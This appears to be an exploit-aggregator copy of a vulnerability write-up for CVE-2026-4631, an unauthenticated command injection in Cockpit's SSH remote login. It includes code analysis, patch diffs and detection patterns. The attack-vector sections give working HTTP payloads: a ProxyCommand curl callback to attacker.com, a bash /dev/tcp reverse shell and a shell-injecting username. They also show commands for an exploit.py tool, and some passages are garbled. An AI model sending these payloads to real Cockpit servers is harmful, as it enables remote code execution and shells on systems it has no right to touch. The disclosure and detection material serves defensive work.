Share
## https://sploitus.com/exploit?id=2FC7FD64-4D38-5415-A621-B0095202AE73
# CVE-2026-4631 โ€” Code Analysis 

**Cockpit: Unauthenticated Remote Code Execution via SSH Command-Line Argument Injection**

| Field                 | Detail                       |
| --------------------- | ---------------------------- |
| **CVE ID**            | CVE-2026-4631                |
| **GHSA**              | GHSA-m4gv-x78h-3427          |
| **Severity**          | Critical (CVSS 9.8)          |
| **Affected versions** | Cockpit 327 โ€“ 359            |
| **Fixed in**          | Cockpit 360                  |
| **CWE**               | CWE-78: OS Command Injection |
| **Auth required**     | NO                           |
| **Reported by**       | Jelle van der Waa            |

---

## Table of Contents

1. [Vulnerability Overview](#1-vulnerability-overview)
2. [Architecture Background](#2-architecture-background)
3. [Root Cause Analysis](#3-root-cause-analysis)
4. [Vulnerable Code โ€” File by File](#4-vulnerable-code--file-by-file)
5. [Attack Vectors](#5-attack-vectors)
6. [Data Flow Diagram](#6-data-flow-diagram)
7. [Patch Analysis](#7-patch-analysis)
8. [Detection](#8-detection)
9. [References](#9-references)

---

## 1. Vulnerability Overview

Cockpit's remote login feature passes user-supplied **hostnames** (from the URL path) and **usernames** (from the `Authorization: Basic` header) directly to the OpenSSH `ssh` binary without any validation or sanitization.

An unauthenticated attacker with network access to port 9090 can craft a single HTTP request that:

- Injects arbitrary SSH options via the **hostname** field (`-oProxyCommand=`)
- Injects shell commands via the **username** field exploiting SSH's `%r` token expansion

Both injection points fire **before credential verification completes**, meaning no valid login is required.

---

## 2. Architecture Background

### Normal Remote Login Flow

![Auth-flow](https://github.com/cyberheartmi9/CVE-2026-4631/blob/main/images/auth-flow.png)

### What Changed in Version 327

Before version 327, Cockpit used a dedicated C binary called `cockpit-ssh` (based on libssh) for remote connections. Starting in version 327, this was replaced with:

```
python3 -m cockpit.beiboot
```

which invokes the system OpenSSH `ssh` client. This change introduced the vulnerability because the new code path passes user-controlled values directly to `ssh` without sanitization.

---

## 3. Root Cause Analysis

### Issue 1 โ€” No `--` Separator Before Hostname

The SSH client interprets arguments starting with `-` as **options**, not as a hostname, unless a `--` separator precedes them. Without `--`, any hostname beginning with `-` is parsed as an SSH flag.

**Vulnerable construction:**
```
ssh [options]  
```

**Safe construction:**
```
ssh [options] --  
```

### Issue 2 โ€” No Input Validation

Neither `cockpit-ws` (C code) nor `cockpit.beiboot` (Python code) validates or sanitizes:
- The hostname extracted from the URL path
- The username extracted from the `Authorization: Basic` header

### Issue 3 โ€” Python `argparse` Bug (CPython #66623)

A known CPython bug causes `argparse` to mishandle arguments starting with `-` that also contain spaces, treating them as positionals rather than flags. This allows a `-oProxyCommand=evil command` hostname to pass through Python argument parsing and reach `ssh` as an option.

---

## 4. Vulnerable Code โ€” File by File

### 4.1 `src/cockpit/beiboot.py` โ€” Primary Injection Point

This is the most critical file. The `via_ssh()` function builds the SSH command argument list.

#### Vulnerable code (before patch)

```python
def via_ssh(cmd: Sequence[str], dest: str, ssh_askpass: Path, *ssh_opts: str) -> Sequence[str]:
    """Build an ssh command to run `cmd` on `dest`."""

    # Parse optional port from dest (e.g. "host:2222")
    host, _, port = dest.rpartition(':')

    if port.isdigit() and host:
        # Strip IPv6 brackets
        if host.startswith('[') and host.endswith(']'):
            host = host[1:-1]

        #  VULNERABLE: No '--' before host
        # If host = "-oProxyCommand=evil", ssh treats it as an option
        destination = ['-p', port, host]

    else:
        #  VULNERABLE: Raw attacker input passed directly to ssh
        destination = [dest]

    return (
        'ssh', *ssh_opts, *destination, shlex.join(cmd)
    )
```

#### What the resulting SSH invocation looks like

With `dest = "-oProxyCommand=curl http://attacker.com/`id`"`:

```
arg0: ssh
arg1: -oNumberOfPasswordPrompts=1      โ† cockpit option
arg2: -oProxyCommand=curl http://...   โ†  PARSED AS SSH OPTION (not host)
arg3: python3 -ic '# cockpit-bridge'   โ† becomes the "hostname" โ†’ triggers ProxyCommand
```

#### Fixed code (version 360)

```python
    if port.isdigit() and host:
        if host.startswith('[') and host.endswith(']'):
            host = host[1:-1]

        #  FIXED: '--' forces everything after it to be positional
        destination = ['-p', port, '--', host]

    else:
        #  FIXED: '--' separator added
        destination = ['--', dest]
```

---

### 4.2 `src/ws/cockpitauth.c` โ€” C Layer: Hostname Extraction

This C file handles the initial HTTP request parsing and spawns the beiboot process.

#### Hostname extraction from URL (no validation)

```c
static const gchar *
application_parse_host(const gchar *application)
{
    const gchar *prefix = "cockpit+=";
    gint len = strlen(prefix);

    g_return_val_if_fail(application != NULL, NULL);

    // Extracts everything after "cockpit+=" from the URL path
    //  No character validation โ€” dashes, special chars allowed
    if (g_str_has_prefix(application, prefix) && application[len] != '\0')
        return application + len;
    else
        return NULL;
}
```

The returned hostname is passed directly as an argument when spawning beiboot:

```c
// cockpit_ws_ssh_program is the spawn command template
//  VULNERABLE: hostname appended with no sanitization
const gchar *cockpit_ws_ssh_program =
    "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
//                                                                      ^
//                        No trailing '--' means hostname can be parsed
//                        as a flag by Python's argparse (CPython #66623)
```

#### Fixed in version 360

```c
//  FIXED: trailing '--' ensures hostname is always positional
const gchar *cockpit_ws_ssh_program =
    "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";
```

#### Username extraction from Authorization header (no validation)

```c
static CockpitCreds *
build_session_credentials(CockpitAuth *self,
                           CockpitWebRequest *request,
                           const char *application,
                           const char *host,
                           const char *type,
                           const char *authorization)
{
    char *user = NULL;
    char *raw  = NULL;

    if (g_strcmp0(type, "basic") == 0) {
        // Decodes Authorization: Basic base64(user:password)
        // โŒ No validation of 'user' โ€” semicolons, special chars allowed
        raw = cockpit_authorize_parse_basic(authorization, &user);
    }

    // 'user' is passed into credentials and eventually to 'ssh -l '
    creds = cockpit_creds_new(application,
                              COCKPIT_CRED_USER, user,   // โŒ unsanitized
                              ...);
}
```

---

### 4.3 `vendor/ferny/src/ferny/session.py` โ€” Third Injection Point

The bundled `ferny` library (used for SSH interaction) has the same `--` omission in its subprocess call.

#### Vulnerable code (before patch)

```python
async def connect(self, ...):
    ...
    # SSH_ASKPASS_REQUIRE is not generally available, so use setsid
    process = await asyncio.create_subprocess_exec(
        #  VULNERABLE: hardcoded path + no '--' before destination
        *('/usr/bin/ssh', *args, destination),
        env=env,
        start_new_session=True,
        stdin=asyncio.subprocess.DEVNULL,
        stdout=asyncio.subprocess.DEVNULL,
        stderr=agent,
        preexec_fn=lambda: prctl(PR_SET_PDEATHSIG, signal.SIGKILL)
    )
```

#### Fixed code (version 360)

```python
    process = await asyncio.create_subprocess_exec(
        #  FIXED: PATH lookup instead of hardcoded path + '--' added
        *('ssh', *args, '--', destination),
        env=env,
        ...
    )
```

---

### 4.4 `containers/ws/cockpit-auth-ssh-key` โ€” Container Deployment Path

This script is the authentication command used in Docker/container-based Cockpit deployments.

```python
#!/usr/bin/env python3

import os, sys

# Extract host from environment
host = os.environ.get('COCKPIT_SSH_CONNECT_TO', sys.argv[1])

#  VULNERABLE: same root cause โ€” host passed unsanitized to beiboot
os.execlpe("python3", "python3", "-m", "cockpit.beiboot", host, os.environ)
```

This is a **separate entry point** from the main `beiboot.py` path, meaning container deployments of Cockpit are independently vulnerable even if patched in the main code path.

---

## 5. Attack Vectors

### Vector 1 โ€” Hostname โ†’ ProxyCommand Injection

**Precondition:** OpenSSH /login HTTP/1.1
Host: :9090
Authorization: Basic aW52YWxpZDppbnZhbGlk
```

**Decoded `Authorization`:** `invalid:invalid` โ€” any value works.

**How it works:**

1. cockpit-ws extracts `-oProxyCommand=` from the URL path as the "hostname"
2. beiboot's `via_ssh()` builds: `ssh -oProxyCommand= python3 -ic '# cockpit-bridge'`
3. SSH parses `-oProxyCommand=` as an option (not a host)
4. SSH uses `python3 -ic '# cockpit-bridge'` as the hostname
5. SSH executes `` as the ProxyCommand when connecting to that "hostname"
6. `` runs as the cockpit-ws process user

**Example โ€” OOB callback:**

```
GET /cockpit+=-oProxyCommand=curl%20http%3A%2F%2Fattacker.com%2F%60id%60/login HTTP/1.1
```

Decoded ProxyCommand: `curl http://attacker.com/`id``

**Example โ€” Reverse shell:**

```
GET /cockpit+=-oProxyCommand=bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.10.10%2F4444%200%3E%261/login HTTP/1.1
```

Decoded ProxyCommand: `bash -i >& /dev/tcp/10.10.10.10/4444 0>&1`

---

### Vector 2 โ€” Username โ†’ `%r` Token Injection

**Precondition:** Target's `ssh_config` contains a `Match exec` directive using the `%r` token (remote username).

**Example vulnerable `ssh_config`:**

```
Match exec "/usr/bin/test %r = blocked_user"
    ProxyCommand /bin/false
```

**HTTP Request:**

```
GET /cockpit+=legitimate-host/login HTTP/1.1
Host: :9090
Authorization: Basic eDsgdG91Y2ggL3RtcC9wd25lZDsgIzppbnZhbGlk
```

**Decoded `Authorization`:** `x; touch /tmp/pwned; #:invalid`

Username extracted: `x; touch /tmp/pwned; #`

**How it works:**

1. SSH expands `%r` with the username before executing the `Match exec` command
2. The shell receives: `/usr/bin/test x; touch /tmp/pwned; # = blocked_user`
3. Shell interprets semicolons: runs `touch /tmp/pwned`, then ignores the rest
4. SSH later rejects the username format โ€” but the command has already executed

---

## 6. Data Flow Diagram

![Auth-bypass](https://github.com/cyberheartmi9/CVE-2026-4631/blob/main/images/auth-bypass.png)

---

## 7. Patch Analysis

The fix is minimal โ€” adding `--` (the POSIX end-of-options separator) before the destination argument in every place SSH is invoked.

### Patch 1 โ€” `src/cockpit/beiboot.py` (commit `9d0695647`)

```diff
- destination = ['-p', port, host]
+ destination = ['-p', port, '--', host]

- destination = [dest]
+ destination = ['--', dest]
```

### Patch 2 โ€” `src/ws/cockpitauth.c` (commit `9d0695647`)

```diff
- const gchar *cockpit_ws_ssh_program =
-     "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
+ const gchar *cockpit_ws_ssh_program =
+     "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";
```

### Patch 3 โ€” `vendor/ferny/src/ferny/session.py` (commit `44ec511c99`)

```diff
- *('/usr/bin/ssh', *args, destination),
+ *('ssh', *args, '--', destination),
```

### Why `--` Fixes It

The `--` token tells argument parsers (both Python `argparse` and OpenSSH's option parser) that all subsequent tokens are **positional arguments**, not options. After `--`, a value like `-oProxyCommand=evil` is treated as a literal hostname string, which SSH then rejects as invalid โ€” it never executes anything.

---

## 8. Detection

### Network-Level Detection

Look for HTTP requests to Cockpit's login endpoint where the path component contains SSH option syntax:

```
GET /cockpit+=-o[A-Za-z]+=.*/login
GET /cockpit+=-[A-Za-z].*/login
```

Specifically watch for:
- `-oProxyCommand=` in the URL path (Vector 1)
- Semicolons in the `Authorization: Basic` decoded value (Vector 2)

### Log Detection (journald)

```bash
# Check for beiboot spawn with suspicious arguments
journalctl -u cockpit-ws | grep -E "beiboot|ProxyCommand|-oProxy"

# Check SSH invocations from cockpit-ws user
journalctl _COMM=ssh | grep -v "^--$"
```

### Version Check

```bash
# Check if installed version is vulnerable
dpkg -l cockpit-ws | awk 'NR==5{print $3}'
# Vulnerable if version is between 327 and 359 inclusive

rpm -q cockpit-ws
# Same version check applies
```

## 9. Attack Vectors

### Scan single Target 
```
python3 exploit.py --target http://localhost:9090/ --vector username
```
![Username injection](https://github.com/cyberheartmi9/CVE-2026-4631/blob/main/images/scanner.png)

### Scan multiple Targets from file 
```
python3 exploit.py --file url.txt --vector username
```
![Username injection](https://github.com/cyberheartmi9/CVE-2026-4631/blob/main/images/scanner-file.png)


### Detect using  OOB 
```
python3 exploit.py --target http://localhost:9090/ --vector username --callback CALLBACK
```
![Username injection](https://github.com/cyberheartmi9/CVE-2026-4631/blob/main/images/dns.png)


### Attack Vector 1 โ€” Username โ†’ %r Token Injection

```
python3 exploit.py --target http://localhost:9090/ --vector username --cmd "id > /tmp/id"
```

![Username injection](https://github.com/cyberheartmi9/CVE-2026-4631/blob/main/images/cmd.png)






### Mitigation (if patching is not immediate)

Add to `/etc/cockpit/cockpit.conf`:

```ini
[WebService]
LoginTo = false
```

This disables the remote login feature entirely, preventing the beiboot code path from being triggered.

---

## 10. References

| Resource | URL |
|---|---|
| OSS-Security disclosure | https://www.openwall.com/lists/oss-security/2026/04/10/5 |
| GitHub Security Advisory | https://github.com/cockpit-project/cockpit/security/advisories/GHSA-m4gv-x78h-3427 |
| Bugzilla issue | https://bugzilla.redhat.com/show_bug.cgi?id=2450246 |
| Fix commit (cockpit) | https://github.com/cockpit-project/cockpit/commit/9d0695647 |
| Fix commit (ferny) | https://github.com/allisonkarlitskaya/ferny/commit/44ec511c99 |
| CPython argparse bug | https://github.com/python/cpython/issues/66623 |
| OpenSSH 9.6 hostname validation | https://github.com/openssh/openssh-portable/commit/7ef3787 |